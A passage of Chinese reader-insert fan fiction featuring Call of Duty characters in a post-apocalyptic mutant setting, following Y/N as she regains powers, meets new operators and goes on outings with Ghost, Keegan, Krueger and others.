Keegan和Ghost眉头紧锁,脸色阴沉得吓人。他们太大意了,明明已经清理了周边所有的异变体,以为基地至少是安全的,却没想到会出现这种意外。
当时事发突然,Nikto反应最快,几乎在Y/N落地的瞬间就冲了进去,在看到那一幕后,立刻将她抱起,头也不回往宿舍跑。
他们这才猛然惊醒,绝不能让外人看到Y/N现在的状态。
幸好那些新人的速度远不及他们,等其他人赶到时,只看到地上那只异变体的残骸,而Y/N已经不在现场。
他们强迫她坐在椅子上,仔仔细细检查了她的四肢,后背,脖颈,确认连一道擦伤都没有后,才勉强退出她的房间。但每个人的脸色都难看得可怕。
如果不是奇迹,此刻的Y/N或许已经......
他们没有问她是怎么做到的。
他们甚至觉得没脸开口问。
他们曾信誓旦旦地以为能将她保护得很好。
而Y/N此时却悄悄弯起了嘴角,心底涌起小小的雀跃,她发现,杀死那些特殊的异变体,似乎能夺回属于她的力量。
她一直渴望恢复自己的能力,没想到竟然是以这种方式。
当时下坠的瞬间,她本能地抽出匕首,翻身精准刺入那只怪物的颈椎。
当蓝色荧光沾上皮肤的刹那,她清晰感受到了一丝久违的力量回流,虽然微弱得像风中火星,但确确实实存在。
幸好这段时间他们不厌其烦地训练她,教她格斗,射击,各种生存技巧。
否则,她既不可能完成反杀,更不会有机会重新触碰这份力量。
想到这里,Y/N心里暖融融的,像是被阳光晒过的毛毯裹住一般。
她望着紧闭的房门。
并不知道那后面站着几个正为她忧心忡忡的男人。
她只是眼底的笑深了些,觉得自己更喜欢他们了。
当月光彻底爬上窗时,Y/N的房门突然被叩响。
是Krueger。
这简直反常,毕竟对他来说,这扇门从来都形同虚设。
Y/N拉开门,看见他罕见地站在门框外,没有像往常那样直接闯入。
那张遮得严严实实的头帘挡住了所有表情,她只能听见他比平时粗重的呼吸声。
“嗯?怎么了?”
回答她的是突如其来的黑暗,Krueger抬手按灭了房里的灯,将她推回屋内。
门锁咔哒合上的瞬间,她整个人被拽进他头罩的阴影里。
与从前带着戏谑的轻佻不同,这次他连半句话都没有。滚烫的唇直接碾了上来,近乎暴虐地掠夺她每一寸呼吸的间隔。
Y/N的后脑勺重重撞在墙板上,却被他提前垫上的手掌缓冲了冲击。
她从未见过这样的Krueger。
那个永远游刃有余,疯狂却理智,又带着玩世不恭的男人,此刻竟像头困兽,强横的动作下藏着某种近乎无望的急切。
Y/N能感觉到,他正在黑暗中疯狂地寻找什么,寻找能填补那份焦躁的东西。
他将Y/N整个人钉在自己与墙壁之间。手掌紧扣住女人双腕,力道大得让她腕骨生疼,
作战裤的布料摩擦着她的肌肤,两条长腿形成牢不可破的禁锢。头罩下的呼吸声又重又急。
但Y/N没有挣扎。她任由他强势地压制着自己,甚至微微仰起头,让他的唇能找到更多落脚点。
因为她比谁都清楚,此刻这个看似凶狠的男人,其实正在恐惧着什么。
她忽然想起在山林深处,那只被激流冲走的狐狸,湿漉漉的皮毛紧贴着身躯,被她从溪水中捞起时,那双狭长的眼里盛满了惊惶。
可那小东西竟没有挣扎,只是抖着身子蜷在她怀里,直到皮毛干透也不愿离去。
在Y/N眼里,现在的Krueger与那只狐狸何其相似。
他仍将她抵在墙上,可先前的暴戾早已消散,取而代之的是某种依恋。
他似乎终于确定,她还存在。
男人将额头搁在她肩上,呼吸渐渐平缓,但还不肯松开钳制她的手,仿佛一放手她就会消失。
“我当时叫你回墙里,为什么不听。”Krueger的声音突然低下来。
“你们好不容易修的围墙.…”
“Das ist schei?egal! Kapierst du''s nicht?!(那他妈的根本不重要!懂吗?)
他提高了音量,又突然像是被自己吓到般顿住,头罩下的眼睛紧张地观察着她的反应,是啊,他有什么资格和理由朝她发脾气呢。
结果只看见她生动地瘪了瘪嘴,像个被凶到的小动物。
Krueger无奈地抬手撑额,低笑出声:“Sei brav,,Katzchen(乖一点,小猫)要是你今天死了.….”
他的笑声戛然而止,沉默片刻后轻声道:“我会把这个基地炸了。”
Y/N眨了眨眼,突然凑近的他头罩。
“那我告诉你个秘密。”
她的气息温热地拂过他的下巴,“我可以靠杀那些怪物恢复力量,所以,我不会死。”
Krueger愣了一秒,随即哼笑出声,又恢复了那副玩世不恭的模样:“真的?”
他一把揽过她的肩膀往外走,“那看来之后出任务,不带你还不行了。”
月光下,他的手掌在她肩头轻轻捏了捏,“Los,,Katzchen(走吧小猫)我今天猎了头鹿回来。”
……
餐厅里,Soap瞥了眼新来的三人,看向Ghost:“嘿,你有没有觉得那几个人身上的气息,和Y/N有点像?”
不光是他,Keegan也注意到了。那三人明显的东方面孔在人群中格外扎眼。
“Y/N!你…..你来了...”Konig的声音突然响起,所有人都顺着他的视线望去。
Krueger正搂着Y/N的腰走进来,姿态强势得像在宣示主权。
戴着赤鬼面具的男人用手肘捅了捅身旁虎纹面罩的同伴:“诶?那不是我们那儿的殺人パーツ(杀人零件)吗?”
Krueger从进门就认出了他们。他对那个男人可没什么好印象。
虽然一起出过任务,但从来就没合拍过。要不是他们,今天Y/N也不会差点出事。经过他们桌边时,Krueger冷冷盯着那张赤鬼面具。
“Miststuck(垃圾玩意)少闻点你面具上的油漆味,说不定脑子还能用。”
Oni没搭理他,目光直勾勾地盯着Y/N。没想到会在这里见到东方面孔,而且还是这么,特别的。
Zimo和Horangi也愣住了,之前在基地外只是远远瞥见过,根本没看清她的长相。
Y/N的目光在他们三人之间来回打量,最后径直走到他们桌前坐下。
四目相对,食堂突然安静得能听见刀叉碰撞的声音。
Keegan和Ghost那桌人齐刷刷地转过头,视线像探照灯一样打在这边。
“我们认识吗?”Y/N突然开口,直直锁住那个让她莫名熟悉的男人。
Soap差点被啤酒呛到:“老天,Y/N这是在搭讪?”
他去看Ghost,却发现面罩下的眼神,跟真正的骷髅没什么区别,黑得见不着底。
Krueger像堵墙一样立在Y/N身后没动,Konig不知何时已经站在桌子另一端。
就连Nikto都在隔壁桌角投来压迫感十足的视线,像头蓄势待发的野兽。
可那个戴战术头盔的男人仿佛感知不到这些目光。他微微抬头,声音平静得像在汇报任务。
“你好,我们没有见过。”
“奇怪。”Y/N不自觉地皱眉,“可我觉得你很熟
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悉。”
Oni却敏锐地察觉到Zimo的身子突然绷紧了。
其实Zimo自己也说不清为什么,这个女人的气息让他想起那些珍藏的青瓷,那些总爱在任务间隙默念的诗句。
他的指尖抚过腰间折扇上的“慎战”二字,呼吸微不可察地乱了半拍。
就像那次在雪原潜伏三天三夜后,忽然看见冰层下绽放的青色冰纹。
Ghost的指节在桌面上敲出动静,Keegan双手交叉支在下巴上,锐利的视线像锁定猎物的雄狮。
整个餐厅的空气仿佛凝固了,那几个男人的视线如有实质地压过来。
但此刻Zimo的耳中只剩下自己血液流动的声音。
“あのさ,生きてる?(喂,你哑巴了?)”Oni用日语低声嗤笑,
Y/N在所有诧异的眼神中倾身向前,发丝扫过桌面的弧度在Zimo眼中如同惊雷炸响。
她身上若有似无的气息,让他想起那座被自己亲手炸毁的寺庙里。
最后倒下的那尊瓷观音。
Y/N紧紧盯着男人的眼睛,没错,这种熟悉感不会错。这个男人或许与她血脉同源。
就在她几乎要贴到对方脸上时,Krueger一把将她拎了起来,拽到Ghost和Keegan中间按着坐下。
“我去给你烤肉,Sei schon lieb(你最好乖乖的)”
他虽然讨厌这些军犬,但相比在场的其他男人,至少这两只最守规矩,也最能管得住Y/N。
一只猎鹰,一头雄狮,左右夹击在Y/N两侧。
Konig更是直接坐在了她对面,小山一样的身形将后面那几个东方男人完全挡在了视线之外。
“Y/N….我给你….给你弄了床回来!我现在….我现在去给你安上….好不好?”Konig瞪着眼睛,兴奋的说道。
“好!你真厉害,小熊,我终于可以睡个好觉了。”
“….真的吗….额…额…没额…嘿…..我现在去!”
这个两米多高的巨犬哐当哐当地跑开了,像只撒欢的大狗。
Ghost瞥了眼那个笨拙的背影,翻了个白眼,呵,真是只好狗。
Keegan适时递来一杯温水,“hey,Lass,天气冷起来了,你得学着喝点热乎的。”
“我们还有热可可吗?”
“今天还没来得及揽收物资,明日…..”
Keegan的话还没说完,Y/N捧着杯子看着他,“我明天可以跟你们一起去吗。”
“不行。”Ghost斩钉截铁地打断。“你忘了今天那玩意怎么追你的了?”
Y/N悄悄凑近Ghost耳边,将那个只告诉过Krueger的秘密又轻声说了一遍。
温热的气息拂过他的耳廓,Ghost的指节瞬间绷紧。
一抬头,正对上Keegan探究的目光。她只好又倾身过去,对着这位雄狮耳语一番。
Nikto不知何时已经坐在了Konig空出的位置上,眼睛直勾勾盯着她。
Y/N不得不趴在桌面上,第三次将这个秘密传递出去。
Soap的叉子停在半空,Merrick和Price交换了个眼神,整张桌子都屏息等待着。
Y/N朝两头看了看,用只有小队成员才能听清的气音再次重复。
她知道,关于她的秘密,还不能让这个小队以外的人知晓。
毕竟那两个她誓要手刃的家伙,至今还逍遥在外呢。
“那行,Ghost你帮她做好装备准备,明日你们几个带上她。”
Price的话音刚落,Ghost已经站起身来。他临走前从战术服的暗袋里摸出个油桃,放在Y/N面前。
“正好,明天你自己去挑。”
油桃在桌面上滚了半圈,表皮还带着Ghost体温的余热。
Soap吹了个口哨:“哟,我们死神大人什么时候学会哄小姑娘了?”
Keegan看了眼Ghost离去的背影,而Nikto只是默默把水杯往Y/N手边推了推。
42. 自娱自乐[番外]
第二日,月亮刚爬上树梢,一辆车驶出基地。
Zimo,Horangi和Oni站在阴影处,看着那支明显是基地最强战力的队伍带着那个女人上了车。
Horangi一把拽住路过的Soap,“嘿,哥们,他们为什么挑晚上行动?”
Soap居高临下地瞥了他一眼,声音压得又低又硬。
“白天和晚上,对他们没区别。”他才不会说,其实是因为Y/N这个点才醒。
……
车厢内,引擎声低沉轰鸣。Nikto握着方向盘,Ghost在副驾调试木仓械。Y/N挨着Konig,Keegan坐在他俩对面,Krueger独自靠在车厢尾部。
“我们好久没这样一起了,”Y/N有些开心,“上次还是,”
“想想待会要买什么,”
Keegan突然打断,语气柔和,“昨天侦察过,那家超市虽偏但货全。”
“好,我想想。”
车内陷入短暂的沉默。所有人都明白Keegan为何打断,上一次全员集结,正是Y/N出事的时候。
车窗外,是荒芜的岩壁。没有植被,没有建筑,唯有笔直的道路延伸向黑暗。
Konig高大的身躯不得不蜷缩着,长腿大张,手臂搭在膝上。这个姿势让他能离Y/N更近些。
他曾厌恶自己的体型,直到遇见Y/N,才发现这身躯竟能成为她安睡的摇篮,似乎也并不算差。
而且,他喜欢小熊这个称呼。好像他还只是一个孩子,正在重新成长,也只属于Y/N。
Krueger的匕首在木块上刮出规律的声响。他时而抬头瞥向Y/N,现场速写般继续雕刻那个轮廓。
穿过整片戈壁后,灰败的小镇突兀地出现在视野中。商铺完好却空无一人,显然灾难来临前居民们就已被疏散。
但在这个崩坏的世界,早已无处可逃。
昨夜的车辙还印在超市后门的沙土上。Keegan和Merrick带着新人侦察时,轮胎在这片荒镇碾出完整的圆。
但Merrick记得,当Price说基地出事的声音从无线电炸响的瞬间,Keegan的手在方向盘上打滑了半寸。
这个向来精准如机器的男人,竟在挂挡时撞落了仪表盘上的弹匣。
“停车!你他妈慌得像个新兵。”
后视镜里,某个被遗忘的新人正狂奔追车,而Keegan已经压死了油门。
……
车辆停稳,众人迅速散开检查装备。Y/N的配枪别在腰间,匕首插在后腰皮套。
比起男人们正在铺开的小镇地图和全套武装,她的装备简单得近乎单薄。
她独自走向那个在车上就注意到的公告栏。褪色的木板钉满层层叠叠的纸张,照片边缘在风中翻卷。
Y/N指尖掠过一张张泛黄的纸页。
「我什么都不要,只求你平安」
「请你永远记得我,我们终将在天际重逢」
……..
这些字句像子弹穿透胸腔,Y/N按住心口陌生的钝痛,这是她从未体验过的情绪。
车旁,Ghost抬手做了个战术手势,众人这才注意到Y/N独自站在公告栏前。
她轻抚纸页的剪影,在月色下显得单薄,像被一层朦胧覆盖。
Keegan率先迈步,作战靴踏过砂石时放轻了力道。Ghost等人无声跟上,都像在接近一只易惊的鸟。
他们沉默站在Y/N身后,视线扫过那些泛黄的思念。
Krueger和Nikto站在最外围,这两个男人向来拒绝回忆过去,更不屑思考死后是否有人悼念。
直到那次亲眼看着Y/N在眼前消散,他们才明白死亡的重量。那种万物俱寂的虚无,连后悔都成了奢侈。
而Keegan和Ghost这样的人,在战场上总会强迫自己去看这种信息。这些褪色的祈愿,是他们保持战争清醒的良药,是枪口下最后的人性底线。
“怎么了….Y/N?”
Konig的声音闷在头套里,“你不开心…..是因为这些吗.…要我把它们都撕掉吗.….”
“这些是什么。”她没有看任何人,还是在盯着上面。
Keengan开口时声带像被什么压着,沉甸甸的,“是写给亡者的信,思念者写给被思念者的话。”
Y/N回过头看他们,“我以后也要写给你们吗。”
指尖戳向一张字条。
「我什么都不求,愿意用一切交换,希望你获得健康和幸福,就像获得空气那样简单。」
“我也要对你们说这个。”她伸手就要撕,“现在拿走,以后用。”
Ghost擒住她的手腕,手套下的脉搏突突跳动,嗓音像深夜涨潮时的海。
“别人的思念,就留在这里。”
他握着Y/N的手没松开,拽着她转身时,碾碎了一片枯叶,“走了,干活。”
没人再开口。他们从不怕死,这些男人曾计算过无数种死法。
爆头,贯穿伤,失血过多…..
数据般精确的死亡率从未动摇过他们。
可他们看着Y/N,却突然怕了。如果当某天他们的名字被刻上阵亡名单时,Y/N或许会日复一日在这里钉上同样的纸页。
她的不死不灭,最终会让她变得像那张纸一样。
泛黄,卷曲,破碎,延续到公告栏腐朽,延续到铁钉锈蚀成灰。
然后再接着一次又一次重复。
他们曾在爆破冲击波中面不改色,此刻却被一张纸的重量压弯了脊椎。
不死者的思念,是比任何子弹都致命的武器。
“你们怎么了?”Y/N现在的敏锐度大大提高,已经能察觉到大家的低气压。
Y/N边走边说,“我在想怎么让你们永生。那些东西吃了我,只是获得了些能量,根本没用。”
她想了想又说,“难道要像那些怪物一样,把你们融合到我体内,把你们吸收了?”
木仓带突然被Krueger拽住,“Hey,小猫,你这样就有点恐怖了啊。”
Krueger的皮质手套擦过Ghost未松开的钳制,顺势将人揽进自己怀里。
而Y/N的手仍在Ghost掌心里,她喃喃自问,“怎么融合,吃掉你们吗,应该不行,那样不就死了吗?那要交酉己吗?”
“……”
夜风突然掀起Konig的狙击披风,露出他僵在枪套上的手。
整个小队像同时中了震撼弹。
“闭嘴!”Ghost直接把人搡进超市,“去挑你的东西。”
Fuck!这个女人知不知道自己在说些什么!
“Bloody Hell!”Ghost大步走远,一把扯开面罩咬住烟,滤嘴在齿间发出咯吱声。
直到烟嘴断裂落地,他才猛地扣回面罩转身。
Konig正提着两个购物篮横扫货架,揽过所有印着可可粉的包装袋。这个两米高的奥地利大熊固执地认为,只要集齐所有热可可相关商品,或许就能….
“Katzchen小猫,”Krueger突然贴住Y/N后背,呼吸喷在她耳后,“永生这种好事,就不能只留给我吗?”
“做梦。”Nikto的身影悄无声息掠出。
Keegan像座雕塑般立在超市门口,沉默地守着他们把物资装车,可思绪越飘越远了。
直到引擎轰鸣响起,Y/N却仍站在原地没动。
“你们先回去吧。”
所有车门同时弹开。Ghost大步跨到她面前,阴影完全笼罩住她。
他声音压得极低,指节在车门上叩出闷响,“赶紧上车。”
“怎….怎么了…Y/N….你不想..你不想跟我们一起了吗….”
Konig急得从车厢里直起身,脑袋“咚”地撞上车顶
“我要去找怪物。”她必须尽快找回力量,她现在也有能力杀掉它们,况且普通的异变体不会攻击她。
Krueger二话不说跳下车,一把揽过Y/N的肩膀:”走,小猫,我陪你去。”
他的手指在她肩头摩挲着,像是要把人揉进骨血里。说着两人还真准备走了。
Keegan上前,扣住Krueger的肩,“别挑事,我们现在至少要先把物资带回基地。”
Krueger猛地甩掉他的手,语气不太好,“没有人阻拦你们回去,我他妈不在乎那什么基地。”
阴影里传来Nikto低沉的嗓音,“我也一起。”
“你呢,Y/N,你也不在乎那个基地吗
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。”Keegan看向她问道,声音很轻。
Y/N的睫毛颤了颤。她想起Soap总爱往她口袋里塞的糖果,Price在指挥室里永远亮着的烟头。
还有昨天那个让她忍不住多看了两眼的陌生面孔。
骷髅面罩下突然发出轻微的叹气声,他缓缓开口。
“先回去,明天开始,轮流陪你。”
Y/N乖乖爬上车,才想起回答刚刚Keegan的问题。
“我在乎的。”
Krueger看着那两只军犬紧绷的肌肉线条在她话音落下后才缓缓松弛,面罩后响起一抹冷哼。
“要她在和责任之间做选择,对你们来说很难吧?所以只能委屈小猫迁就你们了。”
他跟着Y/N跳上车厢,俯身在她耳边低语。
“想走的时候随时找我。而他们。”
男人手指划过她手腕上的战术绑带,“只会拴住你。”
Ghost收回踩在踏板上的军靴,声音带着冷意,“呵,一条疯狗也配谈自由?”
Keegan连个眼神都懒得施舍,只是将一袋巧克力塞进Y/N手中。
“回去吃点东西,准备充分再出发。”
他意有所指地顿了顿,“总比像野狗似的流落街头强。”
Nikto从后视镜里看了Y/N一眼,默默发动引擎。
粗麻布套下的蓝眼睛泛着紧张,Konig把一大袋热可可粉往Y/N那边推了推。
他们动作很快,回到基地时天还没亮。等整理完物资,天边已泛起鱼肚白。
所有人都默契地各自回房休息,他们知道Y/N该睡了。
Keegan站在Y/N房门外,后背抵着冰冷的墙壁,像一尊雕像。就在他准备离开时,门突然一响。
Y/N瞪圆的眼睛在门缝里和他四目相对。Keegan低笑出声,温热的手掌覆上她发顶。
“想偷溜?”俯身的动作让作战服发出细微的摩擦声。
她猛地拽住男人前襟把人拖进房间,门板在Keegan背后合拢时震落一缕墙灰。
“你怎么这么聪明?”Y/N边打哈欠边嘟囔,睫毛在晨光里投下细碎的阴影,“他们都没发现呢。”
Keegan用指节轻刮她脸颊:“你说过在乎这里。”
指腹擦过她眼下淡淡的青黑,“现在你没法给我们疗伤,所以你舍不得让我们冒险。”
窗外传来早起的鸟雀啼鸣。
Y/N揉了揉困倦的眼睛,她不得不承认,Keegan说对了。
这个基地需要他们,但现在的她只是个累赘。如果让他们跟着去找那些怪物,她连最基本的治愈都做不到。
最好一个人悄悄离开,等能力恢复再回来。
Keegan牵起她,带她走到床边。男人单膝跪地蹲下身,视线与她齐平,掌心包裹住那微凉的指尖。
“Y/N,”他的声音像沙漠里的风,“没人会锁住你。如果你真想一个人走,我们不会拦。”
他捏了捏她的手,把她的手背贴在自己膝上:“但你知道,不告而别是错的。”
晨光透过窗缝,在男人眉骨投下深浅不一的阴影,“现在,睡觉。”
Y/N仔细想了想Keegan的话,确实,不告而别不太好。况且她现在困得眼皮直打架。
她侧身躺下,迷迷糊糊看着仍守在床边的男人:“好吧,那我睡了.….你呢?”
“我看着你,防止你偷跑。”
“我不会跑了…..”
她声音越来越小,变成了嘟囔,“要不你上来一起睡吧.….”
Keegan刚站起身就僵住了。Y/N以为他要躺下,还特意往后挪了挪,拍拍空出的位置。
“够了吗?”她强撑开快要合上的眼皮,又嘟囔了句,“不过得脱掉外衣.….这是我的新床.…..”
说完就彻底闭上了眼睛。Keegan站在床边沉默片刻,离开了房间。
五分钟后,房门再次被轻轻推开。他换了件干净的黑色作战内衣,肌肉线条在昏暗光线中若隐若现。
Keegan站在床边深吸一口气,慢慢陷进柔软的床垫。
动作轻缓托起Y/N的脑袋,让她枕在自己手臂上。他静静凝视着她的睡颜。
就这样一直看着她。
43. 自娱自乐[番外]
Y/N醒来时,月光从窗外渗了进来。床边空荡荡的,枕头上还残留着些许温度。
她伸手摸了摸,触到一丝未散的暖意。
基地另一头,Price的办公室里灯火通明。他们正围在战术地图前,商量着如何调整任务分配,好带Y/N安全外出搜寻变异体。
而Y/N正揉着咕咕叫的肚子,牵着小女孩慢悠悠晃进食堂。
昨晚带回的物资让食堂里人头攒动。那几个东方面孔也在,正安静地坐在角落。
上次那试图搭讪Y/N的年轻人,见她身边没有那群凶神恶煞的家伙们,又鼓起勇气凑了过来。
他局促地挠着后脑勺,脸颊泛红,递过来一袋不知从哪儿摘来的野莓。
他是跟着部队里的哥哥才来到这个基地的。这里的人个个都像冷血的战争机器,唯独Y/N不一样。
她身上有种令人安心的亲和力,再加上那张漂亮得惊人的脸蛋,想不被吸引都难。
“谢谢你。”Y/N接过野莓就打开吃起来,转身要走时,年轻人又急急忙忙追上两步拦住她。
“那个.….你还有什么想要的吗?”
Y/N歪着头想了想:“不用,我自己能找到的。”
她刚迈步离开,年轻人突然拽住她的手腕:“Y/N,下次要不要和我组队.….”
完全没料到会被拉扯,Y/N的注意力全在野莓上,一个踉跄撞在餐桌边缘。
桌子发出吱呀声,她滑坐在地上,鲜红的野莓滚落一地。
小女孩立刻从旁边冲过来,像只护主的小兽般挡在Y/N面前。
那几个东方面孔也齐刷刷站起身,大步朝这边走来。
年轻人手足无措地想伸手去扶,却被Zimo一个侧身拦住。
Y/N还蹲在地上捡散落的莓子,Zimo弯腰将她扶起,声音放得很轻:“怎么回事?受伤没有?”
Oni的眼神像在看什么肮脏的害虫,Horangi也皱起眉头,以为遇上了什么不怀好意的登徒子。
“是我自己不小心摔的。”Y/N拍拍裤子站起来,还朝年轻人笑了笑,“不关他的事。这野莓很好吃,谢谢。”
对方涨红了脸,低着头快步逃离了食堂。
Horangi的面罩下传来一声轻嗤,他侧头看向Y/N:“美丽的小姐,今天怎么没见你的骑士团?”
小女孩警惕地盯着眼前这三个男人,眉头拧成一团,刚赶走一个又来三个。
她二话不说拽着Y/N就要离开。
Horangi一个箭步拦住去路,伸手捏了捏小女孩的脸蛋:“怕什么?我们又不会吃了你姐姐。”
他弯腰凑近,面罩下的声音带着笑意,“你看,我们是不是和她长得很像?”
Y/N看到小女孩皱眉的表情,立刻拍开Horangi的手,“不许捏她。”
Horangi轻笑一声直起身,双手作投降状后退两步。Oni在旁边幸灾乐祸瞥了他一眼。
Y/N牵着小女孩的手,视线却转向Zimo。“我们真的不认识吗?”
“都是东方人,为什么只问他?”鬼面男忍不住插嘴。
Y/N歪了歪脑袋,睫毛在灯光下扑闪。“不一样。你们身上没有和我一样的气息。”
Ghost和Konig一前一后走进食堂,正好撞见这一幕。
小女孩像护崽的猫挡在Y/N身前,三个高大的男人将她们半围在中间。
两人眼神瞬间阴沉,迈开长腿就朝那边走去。
“哈哈,骑士团驾到。”Horangi看着来势汹汹的两人。
Ghost和Konig一左一右站在Y/N身后,像两尊煞神。
“你们在干什么?”Ghost紧盯着那三个男人,嗓音压得极低,几乎只剩气音。
Oni摊开双手,赤鬼面具下的眼弯成月牙。
“别紧张,就是和新朋友打个招呼。”
Horangi意有所指地看了眼Y/N,“毕竟这么漂亮,又和我们长相相似的姑娘可不多见。”
“谁谁…..谁跟你们相似了?!”Konig气得结巴,圆睁的眼睛里冒着火。
“你们….少…..少在这骚扰Y/N!”他下意识往前半步,作战靴在地板上磨出声响。
Y/N伸手指了指Zimo:“他确实跟我有点像,另外两个不像。”
Zimo站得笔直如松,视线从Ghost和Konig身上掠过,落在Y/N脸上。
“我确实不认识您,小姐。我们应当未曾见过。”
他的声线沉稳,克制,“但或许我们来自同一个地方,因为我也能从您身上感受到熟悉的气息。”
“是吧!我就说!”Y/N眼睛一亮,刚想凑近,却被Ghost一把揪住后衣领,像拎猫崽似的提溜起来。
“走了,开会。”
Price正低头翻看文件,抬头就见Ghost拎着Y/N进来,一脸茫然:“抓她来干嘛?”
“Lt,你给她讲讲安排。”Ghost抱臂往墙边一靠,声音低沉。
Price叼起雪茄,无奈吐出一口烟圈:“你们知道不就行了?跟她说有什么用。”
Ghost没吭声,只是沉默盯着他。
“行吧。”Price妥协了,敲了敲桌面,“你们两个,听令。”
Konig立刻绷直身体站得笔直,Y/N见状也赶紧挺直腰板。
Price差点被烟呛到,这画面就像一头刚学会听话的大狼,旁边又蹲了只学样的小猫,还特意坐得端端正正。
“从明天开始,他们会轮流带你出去找变异体。”
Price弹了弹烟灰,“每次只能一个人陪同,基地需要人手。同意吗?”
“同意。”Y/N点点头,“其实我自己去也….”
“你自己去?想都别想。”Price直接打断。
他心知肚明,要是放她单独行动,那群“疯狗”怕是能把基地掀了去找人。
第一个陪她出去的人是Ghost。Price最放心的就是他,正好让他先带着Y/N探探路,之后其他人再轮换。
而Price也打算在基地好好考察一下新来的家伙们,看看他们够不够格留在这里,成为核心成员。
毕竟现在基地已经建设得差不多了,下一步的计划,就是出去搜寻流落在外的幸存者。
而上次在加油站遇到的那群人,他们始终还没通过对讲机透露基地位置。
谁也不知道那些幸存者是否又遭遇了更危险的暴徒。
引狼入室的风险他们现在承担不起,必须要亲自前往确认才行。
……
第二日天刚擦黑,Y/N的房门就被叩响。她揉着眼睛拉开门,Ghost的身
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影堵在门口。
他换下了标志性的骷髅面具,取而代之的是印着骷髅图案的半面罩,护目镜反射着冷光。
“出发。”他递来一件还带着体温的战术外套,“车上睡。”
装甲车引擎轰鸣着启动,Y/N仍直勾勾盯着Ghost的侧脸。
他突然转过头,一把扯下护目镜,那双总是藏在阴影下的眼睛终于完整地露了出来。
深邃,锋利,像黑夜里的狼。
Y/N猛地凑近,鼻尖几乎要碰到他的面罩。Ghost条件反射般后仰,喉结滚动了一下。
“看什么。”
“感觉不认识你了。”Y/N歪着脑袋看着他,“你是Ghost吗?”
男人转回去猛踩油门,装甲车一个颠簸,Y/N被惯性甩回座椅。他低笑一声,沙哑的嗓音里带着熟悉的嘲讽。
“别看得太入迷,Fairy princess(小公主)跟没见过男人似的。”
Y/N靠回椅背,“嗯,看来是你没错。”
天色愈发昏暗,Ghost始终没开车灯,怕引来不必要的麻烦。
他余光扫了眼Y/N,她正望着窗外发呆,侧脸在月光下显得特别安静。
“后面有吃的,自己拿。”
Y/N一听,眼睛瞬间亮了起来,蹭地从座椅中间往后探身,在储物箱里翻找,身子不断擦过男人的手臂。
Ghost舌尖抵住上颚,突然觉得让她去后面拿吃的这个决定简直蠢透了。
他一把扣住Y/N的腰,把人又拎回座位:“别影响我开车。等找到落脚点再吃。”
“对哦,你需要睡觉。”Y/N恍然大悟,“那晚上我守夜吧。”
说完,她又转头看向窗外,顺手按下车窗。
夜风猛地灌了进来,乌黑的发瞬间飞扬,几缕发丝缠上男人的脖颈和手臂。
Ghost看了她一眼,握着方向盘的手仅剩一只,另只轻轻拢住她的长发,绕在掌心。动作熟练得像是做过无数次。
……
基地里,几个男人站在Y/N空荡荡的房门前,气压低得可怕。
“他…他们......怎么离开得......那么早......”
Konig的声音闷在粗布里,语气明显急促起来,“平时......Y/N明明….这个点才刚醒......Verdammt! (该死的)”
他攥紧拳头,转身大步走回自己房间,“砰”地一声重重甩上门,他该再早一点来的。
Krueger冷笑一声,沙哑黏腻的德语咒骂从面罩后传来,“Der Hundeschadel da... so gierig, aber tut, als ware er eiskalt. Hah... verdammter Heuchler.”(那根狗骨头,就这么饥渴,装作一副无动于衷的样子,恶心的装货。)
Keegan没说话,只是视线扫过Y/N凌乱的床铺。那里或许还染着属于他的气息。如果下次带她出去时,他眯了眯眼,喉结滚动。
等所有人都离开后,Nikto从走廊阴影中无声地现身。
他走进Y/N的房间,从床尾拾起一件换下来的T恤,布料上还残留着体温和淡淡的香气。
低头深吸了一口,将衣服攥紧塞进作战服内侧,紧贴着心口的位置。
44. 自娱自乐[番外]
四周死寂无声,装甲车停泊在一条堆满废弃车辆的公路中央。
Ghost认为这样既不易暴露,又能借助周围车辆的金属屏障,若有异变体靠近,碰撞发出的声响会第一时间预警。
Y/N跟着Ghost下车后,灵活地钻到车后排翻找食物补给。
“你先睡,我守着。”
Ghost看她已经抱着食物袋爬回副驾驶,便没多说,在后排躺下。
这辆装甲车经过改装,后排空间足够宽敞,就算Konig那样的巨狼躺下也绰绰有余。
Y/N窸窸窣窣啃了两口压缩面包,灌下半瓶水,突然捂住腹部弯下腰。
一种从未有过的绞痛在腹腔内翻搅,像是有什么东西在撕扯内脏。
难受的感觉一阵强过一阵,Y/N把额头抵在冰凉的车身上。
她经历过无数种疼痛,却从未感受过这种绵长而钝涩的折磨。
她偏头看了眼正在小憩的Ghost,轻手轻脚滑下车。蹲在轮胎旁干呕了几次却吐不出任何东西,最终只能蜷缩成团。
男人其实在她开车门时就醒了,但没立即起身。
现在的Y/N不像以前那么随心所欲,况且Ghost知道,她虽然不谙世事,但向来说到做到,既然承诺守夜就绝不会擅自离开。
但发现过了好一会Y/N迟迟都没回来,他弹起身下车,看见她正把自己蜷成小小的团,死死按着下腹。
“怎么了?”Ghost单膝砸在地上蹲下来,手套悬在她后背上方又收回。
向来冷硬的声音裂开一道缝,漏出藏不住的焦灼。
Ghost看到Y/N仰起脸时,眉头立刻皱了起来。她双眼半虚着,冷汗浸湿的碎发黏在脸边,连嘴唇都失了血色。
他一把将人横抱起来,正要放回副驾驶时,座椅上那抹暗红让他浑身肌肉瞬间绷紧。
“别动。”
他将手套摘下,拨开她按在腹部的手,小心抚过可能受伤的位置。
Y/N揪住他袖口的手指收紧,布料在掌心皱成一团。
“就是肚子里面疼。”她无意识的把额头抵在他肩上,呼出的气息染湿了面罩边缘。
Ghost的眉头始终紧锁着,“没有外伤,你之前有没有撞到哪了?”
难道是内伤?他突然想起昨夜食堂的骚动,立马掀开她的衣摆检查。
没有淤青,没有肿胀,什么都没有。可她分明疼得冷汗涔涔,在座椅上扭动的样子像被子弹打中的小兽。
“Fuck.….”Ghost一拳砸在车座上,皮革发出沉闷的撕裂声。
现在这个见鬼的世界连家像样的医院都没有,基地的医务室还堆着弹药箱,连医生也没有。
现在Y/N就只是个普通的女人,如果是内脏受损,他们根本….
等等,普通的女人。
他猛地按住她乱动的腰胯,终于注意到裤后那片暗色痕迹。Ghost突然松了力道,面罩下的喉结滚动了两下。
他沉默退开半步,抬起胳膊掌心蹭过后颈,那里正发烫得厉害。
“我到底怎么了?”
Y/N把脸埋进座椅缝里,声音闷得像是从水里捞出来的,“感觉有东西在肚子里捅我。”
她整个人蜷成虾米,脸也皱成一团。
这是Ghost第一次见Y/N这么丰富的表情,以往就算子弹穿透肋骨里,她也只会安静地掉眼泪。
“死不了,你只是….”男人绕过车跳上驾驶位
“什么。”
